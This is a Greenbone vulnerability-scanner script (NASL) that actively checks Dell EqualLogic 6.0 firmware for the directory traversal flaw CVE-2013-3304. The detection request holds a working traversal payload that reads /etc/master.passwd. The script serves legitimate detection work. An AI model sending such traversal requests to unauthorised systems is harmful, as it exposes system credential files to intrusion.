Dell EqualLogic 6.0 Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105100");
  script_version("2025-07-18T15:43:33+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2025-07-18 15:43:33 +0000 (Fri, 18 Jul 2025)");
  script_tag(name:"creation_date", value:"2014-10-29 13:15:11 +0100 (Wed, 29 Oct 2014)");
  script_cve_id("CVE-2013-3304");
  script_name("Dell EqualLogic 6.0 Directory Traversal Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl",
                      "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  # nb: Initial version of this VT only checked /etc/master.passwd which indicates that this product
  # is only running on Linux. As it doesn't make much sense to throw these checks against every OS
  # these days a more Linux specific mandatory key is used here.
  script_mandatory_keys("Host/runs_unixoide");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210121133322/http://www.securityfocus.com/bid/70760");

  script_tag(name:"summary", value:"Dell EqualLogic is prone to a directory traversal
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Dell EqualLogicis fails to sufficiently sanitize user-supplied
  input.");

  script_tag(name:"impact", value:"Exploiting this issue can allow an attacker to gain access to
  arbitrary system files. Information harvested may aid in launching further attacks.");

  script_tag(name:"affected", value:"Dell EqualLogic Firmware version 6.0 is known to be vulnerable.
  Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");

port = http_get_port( default:80 );

if( http_vuln_check( port:port, url:"/", pattern:"<title>.*EqualLogic.*Group Manager</title>", usecache:TRUE ) ) {

  # nb: No traversal_files() for now as we don't want to change the code below as we don't have
  # access to an affected system anymore and can't test any changes done here.
  url = "//../../../../../../../../etc/master.passwd";

  if( http_vuln_check( port:port, url:url, pattern:"root:.*:0:[01]:" ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
  exit( 99 );
}

exit( 0 );